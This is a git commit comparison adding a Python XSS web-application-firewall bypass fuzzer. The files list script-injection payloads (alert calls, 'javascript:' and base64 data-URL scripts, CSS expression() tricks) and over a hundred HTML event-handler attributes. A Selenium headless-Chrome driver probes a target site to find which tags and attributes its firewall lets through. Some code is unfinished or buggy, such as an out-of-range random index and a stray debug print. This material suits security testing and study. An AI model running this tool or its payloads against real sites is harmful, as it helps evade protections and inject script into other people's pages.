Compare commits
4 Commits
Author | SHA1 | Date | |
---|---|---|---|
5e615cc189 | |||
a6c0c62cc9 | |||
|
196ffdcd4f | ||
|
9e0ea55f29 |
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,2 +1,3 @@
|
|||||||
venv
|
venv
|
||||||
chromedriver*
|
chromedriver*
|
||||||
|
__pycache__/
|
||||||
|
64
language.py
Normal file
64
language.py
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLTag:
|
||||||
|
def __init__(self, name, self_closing=False):
|
||||||
|
self.name = name
|
||||||
|
self.self_closing = self_closing
|
||||||
|
self.attributes = []
|
||||||
|
self.children = []
|
||||||
|
|
||||||
|
def __str__(self) -> str:
|
||||||
|
tag = ""
|
||||||
|
if self.self_closing:
|
||||||
|
tag = f"<{self.name} "
|
||||||
|
for attr in self.attributes:
|
||||||
|
tag += f"{attr} "
|
||||||
|
tag += "/>"
|
||||||
|
else:
|
||||||
|
tag = f"<{self.name}"
|
||||||
|
for attr in self.attributes:
|
||||||
|
tag += f"{attr} "
|
||||||
|
tag += ">"
|
||||||
|
for child in self.children:
|
||||||
|
tag += f"{child}"
|
||||||
|
tag += f"</{self.name}>"
|
||||||
|
return tag
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLTagAttributeType:
|
||||||
|
TypeText = 0
|
||||||
|
TypeBoolean = 1
|
||||||
|
TypeNumber = 2
|
||||||
|
TypeColor = 3
|
||||||
|
TypeJavascript = 4
|
||||||
|
TypeStlye = 5
|
||||||
|
TypeURL = 6
|
||||||
|
TypeEmail = 7
|
||||||
|
TypeDate = 8
|
||||||
|
|
||||||
|
|
||||||
|
Generators = {
|
||||||
|
HTMLTagAttributeType.TypeText: gen_text,
|
||||||
|
HTMLTagAttributeType.TypeBoolean: gen_boolean,
|
||||||
|
HTMLTagAttributeType.TypeNumber: gen_number,
|
||||||
|
HTMLTagAttributeType.TypeColor: gen_color,
|
||||||
|
HTMLTagAttributeType.TypeJavascript: gen_javascript,
|
||||||
|
HTMLTagAttributeType.TypeStlye: gen_style,
|
||||||
|
HTMLTagAttributeType.TypeURL: gen_url,
|
||||||
|
HTMLTagAttributeType.TypeEmail: gen_email,
|
||||||
|
HTMLTagAttributeType.TypeDate: gen_date,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLAttribute:
|
||||||
|
def __init__(self, name, value_type):
|
||||||
|
self.name = name
|
||||||
|
self.kind = value_type
|
||||||
|
self.value = Generators[value_type]()
|
||||||
|
|
||||||
|
def __str__(self) -> str:
|
||||||
|
if not self.value:
|
||||||
|
return self.name
|
||||||
|
else:
|
||||||
|
return f'{self.name}="{self.value}"'
|
122
language_utils.py
Normal file
122
language_utils.py
Normal file
@ -0,0 +1,122 @@
|
|||||||
|
from random import randint
|
||||||
|
|
||||||
|
|
||||||
|
def gen_text():
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'alert(0)',
|
||||||
|
1: lambda: 'prompt\x600\x60',
|
||||||
|
2: lambda: '"confirm\x600\x60"',
|
||||||
|
3: lambda: 'window["alert"](0)',
|
||||||
|
4: lambda: 'window["prompt"](0)',
|
||||||
|
5: lambda: 'window["confirm"](0)',
|
||||||
|
6: lambda: '"alert\x600\x60"',
|
||||||
|
7: lambda: '"prompt\x600\x60"',
|
||||||
|
8: lambda: '"alert(1)"',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 8)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_boolean():
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'true',
|
||||||
|
1: lambda: 'false',
|
||||||
|
2: lambda: '1',
|
||||||
|
3: lambda: '0',
|
||||||
|
4: lambda: 'null',
|
||||||
|
5: lambda: 'undefined',
|
||||||
|
6: lambda: '""',
|
||||||
|
7: lambda: '[]',
|
||||||
|
8: lambda: '{}',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 8)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_number():
|
||||||
|
cases = {
|
||||||
|
0: lambda: '0',
|
||||||
|
1: lambda: '1',
|
||||||
|
2: lambda: '0.1',
|
||||||
|
3: lambda: '1.1',
|
||||||
|
4: lambda: '0x1',
|
||||||
|
5: lambda: '0b1',
|
||||||
|
6: lambda: '0o1',
|
||||||
|
7: lambda: '1e1',
|
||||||
|
8: lambda: '1e-1',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 8)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_color():
|
||||||
|
cases = {
|
||||||
|
0: lambda: '#000000',
|
||||||
|
1: lambda: '#ffffff',
|
||||||
|
2: lambda: '#ff0000',
|
||||||
|
3: lambda: '#00ff00',
|
||||||
|
4: lambda: '#0000ff',
|
||||||
|
5: lambda: '#ffff00',
|
||||||
|
6: lambda: '#00ffff',
|
||||||
|
7: lambda: '#ff00ff',
|
||||||
|
8: lambda: '#c0c0c0',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 8)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_javascript():
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'alert(0)',
|
||||||
|
1: lambda: 'prompt\x600\x60',
|
||||||
|
2: lambda: '"confirm\x600\x60"',
|
||||||
|
3: lambda: 'window["alert"](0)',
|
||||||
|
4: lambda: 'window["prompt"](0)',
|
||||||
|
5: lambda: 'window["confirm"](0)',
|
||||||
|
6: lambda: '"alert\x600\x60"',
|
||||||
|
7: lambda: '"prompt\x600\x60"',
|
||||||
|
8: lambda: '"alert(1)"',
|
||||||
|
9: lambda: 'console.log(alert(1))//',
|
||||||
|
10: lambda: 'console.log(alert(1))/*',
|
||||||
|
11: lambda: '{1:alert(1)}',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 11)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_style():
|
||||||
|
# xss via style
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'background-image:url("javascript:alert(1)")',
|
||||||
|
1: lambda: 'expression(alert(1))',
|
||||||
|
2: lambda: 'expression\x600\x60',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 2)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_url():
|
||||||
|
# xss via url
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'javascript:alert(1)',
|
||||||
|
1: lambda: 'data:text/html,<script>alert(1)</script>',
|
||||||
|
2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
|
||||||
|
3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 3)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_email():
|
||||||
|
# xss via email
|
||||||
|
cases = {
|
||||||
|
0: lambda: '@javascript:alert(1)',
|
||||||
|
1: lambda: 'javascript:alert(1)@',
|
||||||
|
2: lambda: '@javascript:alert\x600\x60',
|
||||||
|
}
|
||||||
|
|
||||||
|
return cases[randint(0, 3)]()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_date():
|
||||||
|
return ''
|
248
tags.py
Normal file
248
tags.py
Normal file
@ -0,0 +1,248 @@
|
|||||||
|
from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
|
||||||
|
|
||||||
|
|
||||||
|
Tags = [
|
||||||
|
HTMLTag('a', self_closing=False),
|
||||||
|
HTMLTag('abbr', self_closing=False),
|
||||||
|
HTMLTag('acronym', self_closing=False),
|
||||||
|
HTMLTag('address', self_closing=False),
|
||||||
|
HTMLTag('applet', self_closing=False),
|
||||||
|
HTMLTag('area', self_closing=True),
|
||||||
|
HTMLTag('article', self_closing=False),
|
||||||
|
HTMLTag('aside', self_closing=False),
|
||||||
|
HTMLTag('audio', self_closing=False),
|
||||||
|
HTMLTag('b', self_closing=False),
|
||||||
|
HTMLTag('base', self_closing=True),
|
||||||
|
HTMLTag('basefont', self_closing=False),
|
||||||
|
HTMLTag('bdi', self_closing=False),
|
||||||
|
HTMLTag('bdo', self_closing=False),
|
||||||
|
HTMLTag('big', self_closing=False),
|
||||||
|
HTMLTag('blockquote', self_closing=False),
|
||||||
|
HTMLTag('body', self_closing=False),
|
||||||
|
HTMLTag('br', self_closing=True),
|
||||||
|
HTMLTag('button', self_closing=False),
|
||||||
|
HTMLTag('canvas', self_closing=False),
|
||||||
|
HTMLTag('caption', self_closing=False),
|
||||||
|
HTMLTag('center', self_closing=False),
|
||||||
|
HTMLTag('cite', self_closing=False),
|
||||||
|
HTMLTag('code', self_closing=False),
|
||||||
|
HTMLTag('col', self_closing=True),
|
||||||
|
HTMLTag('colgroup', self_closing=False),
|
||||||
|
HTMLTag('data', self_closing=False),
|
||||||
|
HTMLTag('datalist', self_closing=False),
|
||||||
|
HTMLTag('dd', self_closing=False),
|
||||||
|
HTMLTag('del', self_closing=False),
|
||||||
|
HTMLTag('details', self_closing=False),
|
||||||
|
HTMLTag('dfn', self_closing=False),
|
||||||
|
HTMLTag('dialog', self_closing=False),
|
||||||
|
HTMLTag('dir', self_closing=False),
|
||||||
|
HTMLTag('div', self_closing=False),
|
||||||
|
HTMLTag('dl', self_closing=False),
|
||||||
|
HTMLTag('dt', self_closing=False),
|
||||||
|
HTMLTag('em', self_closing=False),
|
||||||
|
HTMLTag('embed', self_closing=True),
|
||||||
|
HTMLTag('fieldset', self_closing=False),
|
||||||
|
HTMLTag('figcaption', self_closing=False),
|
||||||
|
HTMLTag('figure', self_closing=False),
|
||||||
|
HTMLTag('font', self_closing=False),
|
||||||
|
HTMLTag('footer', self_closing=False),
|
||||||
|
HTMLTag('form', self_closing=False),
|
||||||
|
HTMLTag('frame', self_closing=True),
|
||||||
|
HTMLTag('frameset', self_closing=False),
|
||||||
|
HTMLTag('h1', self_closing=False),
|
||||||
|
HTMLTag('h2', self_closing=False),
|
||||||
|
HTMLTag('h3', self_closing=False),
|
||||||
|
HTMLTag('h4', self_closing=False),
|
||||||
|
HTMLTag('h5', self_closing=False),
|
||||||
|
HTMLTag('h6', self_closing=False),
|
||||||
|
HTMLTag('head', self_closing=False),
|
||||||
|
HTMLTag('header', self_closing=False),
|
||||||
|
HTMLTag('hr', self_closing=True),
|
||||||
|
HTMLTag('html', self_closing=False),
|
||||||
|
HTMLTag('i', self_closing=False),
|
||||||
|
HTMLTag('iframe', self_closing=False),
|
||||||
|
HTMLTag('img', self_closing=True),
|
||||||
|
HTMLTag('input', self_closing=True),
|
||||||
|
HTMLTag('ins', self_closing=False),
|
||||||
|
HTMLTag('kbd', self_closing=False),
|
||||||
|
HTMLTag('label', self_closing=False),
|
||||||
|
HTMLTag('legend', self_closing=False),
|
||||||
|
HTMLTag('li', self_closing=False),
|
||||||
|
HTMLTag('link', self_closing=True),
|
||||||
|
HTMLTag('main', self_closing=False),
|
||||||
|
HTMLTag('map', self_closing=False),
|
||||||
|
HTMLTag('mark', self_closing=False),
|
||||||
|
HTMLTag('meta', self_closing=True),
|
||||||
|
HTMLTag('meter', self_closing=False),
|
||||||
|
HTMLTag('nav', self_closing=False),
|
||||||
|
HTMLTag('noframes', self_closing=False),
|
||||||
|
HTMLTag('noscript', self_closing=False),
|
||||||
|
HTMLTag('object', self_closing=False),
|
||||||
|
HTMLTag('ol', self_closing=False),
|
||||||
|
HTMLTag('optgroup', self_closing=False),
|
||||||
|
HTMLTag('option', self_closing=False),
|
||||||
|
HTMLTag('output', self_closing=False),
|
||||||
|
HTMLTag('p', self_closing=False),
|
||||||
|
HTMLTag('param', self_closing=True),
|
||||||
|
HTMLTag('picture', self_closing=False),
|
||||||
|
HTMLTag('pre', self_closing=False),
|
||||||
|
HTMLTag('progress', self_closing=False),
|
||||||
|
HTMLTag('q', self_closing=False),
|
||||||
|
HTMLTag('rp', self_closing=False),
|
||||||
|
HTMLTag('rt', self_closing=False),
|
||||||
|
HTMLTag('ruby', self_closing=False),
|
||||||
|
HTMLTag('s', self_closing=False),
|
||||||
|
HTMLTag('samp', self_closing=False),
|
||||||
|
HTMLTag('script', self_closing=False),
|
||||||
|
HTMLTag('section', self_closing=False),
|
||||||
|
HTMLTag('select', self_closing=False),
|
||||||
|
HTMLTag('small', self_closing=False),
|
||||||
|
HTMLTag('source', self_closing=True),
|
||||||
|
HTMLTag('span', self_closing=False),
|
||||||
|
HTMLTag('strike', self_closing=False),
|
||||||
|
HTMLTag('strong', self_closing=False),
|
||||||
|
HTMLTag('style', self_closing=False),
|
||||||
|
HTMLTag('sub', self_closing=False),
|
||||||
|
HTMLTag('summary', self_closing=False),
|
||||||
|
HTMLTag('sup', self_closing=False),
|
||||||
|
HTMLTag('svg', self_closing=False),
|
||||||
|
HTMLTag('table', self_closing=False),
|
||||||
|
HTMLTag('tbody', self_closing=False),
|
||||||
|
HTMLTag('td', self_closing=False),
|
||||||
|
HTMLTag('template', self_closing=False),
|
||||||
|
HTMLTag('textarea', self_closing=False),
|
||||||
|
HTMLTag('tfoot', self_closing=False),
|
||||||
|
HTMLTag('th', self_closing=False),
|
||||||
|
HTMLTag('thead', self_closing=False),
|
||||||
|
HTMLTag('time', self_closing=False),
|
||||||
|
HTMLTag('title', self_closing=False),
|
||||||
|
HTMLTag('tr', self_closing=False),
|
||||||
|
HTMLTag('track', self_closing=True),
|
||||||
|
HTMLTag('tt', self_closing=False),
|
||||||
|
HTMLTag('u', self_closing=False),
|
||||||
|
HTMLTag('ul', self_closing=False),
|
||||||
|
HTMLTag('var', self_closing=False),
|
||||||
|
HTMLTag('video', self_closing=False),
|
||||||
|
HTMLTag('wbr', self_closing=True),
|
||||||
|
HTMLTag('xmp', self_closing=False),
|
||||||
|
]
|
||||||
|
|
||||||
|
Attributes = [
|
||||||
|
# events
|
||||||
|
HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforescriptexecute',
|
||||||
|
HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onmozfullscreenchange',
|
||||||
|
HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onwebkitanimationiteration',
|
||||||
|
HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onwebkitanimationstart',
|
||||||
|
HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onwebkittransitionend',
|
||||||
|
HTMLTagAttributeType.TypeJavascript),
|
||||||
|
HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript),
|
||||||
|
]
|
192
xzzuf.py
192
xzzuf.py
@ -6,24 +6,89 @@ from selenium.webdriver.support.ui import WebDriverWait
|
|||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
from urllib.parse import urlencode
|
from urllib.parse import urlencode
|
||||||
|
|
||||||
|
from tags import Attributes
|
||||||
|
from tags import Tags
|
||||||
|
|
||||||
|
import random
|
||||||
|
import argparse
|
||||||
|
|
||||||
# WAFBypass class
|
# WAFBypass class
|
||||||
|
|
||||||
|
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||||
|
|
||||||
|
t = HTMLTag("form")
|
||||||
|
i = HTMLTag("input", self_closing=True)
|
||||||
|
i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText))
|
||||||
|
t.children.append(i)
|
||||||
|
print(t)
|
||||||
|
|
||||||
|
|
||||||
class WAFBypass():
|
class WAFBypass():
|
||||||
|
# Script JS per sovrascrivere la funzione alert nativa di JS.
|
||||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
||||||
|
|
||||||
def __init__(self, url) -> None:
|
def __init__(self, url) -> None:
|
||||||
|
"""
|
||||||
|
Inizializzazione webdriver e controllo connessione all'URL.
|
||||||
|
"""
|
||||||
self.options = webdriver.ChromeOptions()
|
self.options = webdriver.ChromeOptions()
|
||||||
self.options.add_argument('--no-sandbox')
|
self.options.add_argument('--no-sandbox')
|
||||||
self.options.add_argument('--headless')
|
self.options.add_argument('--headless')
|
||||||
self.driver = webdriver.Chrome(options=self.options)
|
self.driver = webdriver.Chrome(options=self.options)
|
||||||
self.url = urlparse(url)
|
self.url = urlparse(url)
|
||||||
|
|
||||||
|
# Liste di attributi e tag non filtrati
|
||||||
|
self.unfiltered_attributes = list()
|
||||||
|
self.unfiltered_tags = list()
|
||||||
|
|
||||||
if not self.check_connection():
|
if not self.check_connection():
|
||||||
raise Exception("Connection Error")
|
raise Exception("Connection Error")
|
||||||
|
|
||||||
|
# Inietta il codice in ogni nuova pagina
|
||||||
self.driver.execute_cdp_cmd(
|
self.driver.execute_cdp_cmd(
|
||||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||||
|
|
||||||
|
def identify_unfiltered_attributes(self):
|
||||||
|
"""
|
||||||
|
Identifica gli attributi che non sono filtrati dal WAF.
|
||||||
|
"""
|
||||||
|
print("[*] Identifying unfiltered attributes:")
|
||||||
|
try:
|
||||||
|
for attr in Attributes:
|
||||||
|
encoded = urlencode({"param2": f"{attr}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(url)
|
||||||
|
if not is403:
|
||||||
|
print(f" [+] {attr.name}")
|
||||||
|
self.unfiltered_attributes.append(attr)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
def identify_unfiltered_tags(self):
|
||||||
|
"""
|
||||||
|
Identifica i tag che non sono filtrati dal WAF
|
||||||
|
"""
|
||||||
|
print("[*] Identifying unfiltered tags:")
|
||||||
|
try:
|
||||||
|
for tag_obj in Tags: #TODO aggiungere lista tag
|
||||||
|
tag_str = f"<{tag_obj.name}></{tag_obj.name}>" if not tag_obj.self_closing else f"<{tag_obj.name}/>"
|
||||||
|
encoded = urlencode({"param2": tag_str})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(url)
|
||||||
|
|
||||||
|
if not is403:
|
||||||
|
print(f" [+] {tag_obj.name}")
|
||||||
|
self.unfiltered_tags.append(tag_obj)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
def check_connection(self):
|
def check_connection(self):
|
||||||
|
"""
|
||||||
|
Verifica della possibilità di connessione all'URL.
|
||||||
|
"""
|
||||||
try:
|
try:
|
||||||
self.driver.get(self.url.geturl())
|
self.driver.get(self.url.geturl())
|
||||||
return True
|
return True
|
||||||
@ -31,6 +96,9 @@ class WAFBypass():
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
def wait_for_pageload(self):
|
def wait_for_pageload(self):
|
||||||
|
"""
|
||||||
|
Delay per attendere che la pagina web sia completamente caricata.
|
||||||
|
"""
|
||||||
try:
|
try:
|
||||||
WebDriverWait(self.driver, 4).until(
|
WebDriverWait(self.driver, 4).until(
|
||||||
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
||||||
@ -38,53 +106,133 @@ class WAFBypass():
|
|||||||
raise Exception("Page Load Error")
|
raise Exception("Page Load Error")
|
||||||
|
|
||||||
def get_page_title(self):
|
def get_page_title(self):
|
||||||
|
"""
|
||||||
|
Ritorna il titolo della pagina corrente
|
||||||
|
"""
|
||||||
return self.driver.title
|
return self.driver.title
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def is_403(self):
|
def is_403(self):
|
||||||
|
"""
|
||||||
|
Verifica se la pagina è 403 analizzando il titolo.
|
||||||
|
"""
|
||||||
return self.driver.title == "403 Forbidden"
|
return self.driver.title == "403 Forbidden"
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def triggered_xss(self):
|
def triggered_xss(self):
|
||||||
|
"""
|
||||||
|
Verifica se l'XSS è stato eseguito.
|
||||||
|
"""
|
||||||
return self.driver.execute_script("return window.alert_trigger")
|
return self.driver.execute_script("return window.alert_trigger")
|
||||||
|
|
||||||
def navigate(self, url):
|
def navigate(self, url):
|
||||||
|
"""
|
||||||
|
Naviga verso un URL specifico e controlla se si verifica un errore 403 o un'esecuzione di XSS.
|
||||||
|
"""
|
||||||
self.driver.get(url)
|
self.driver.get(url)
|
||||||
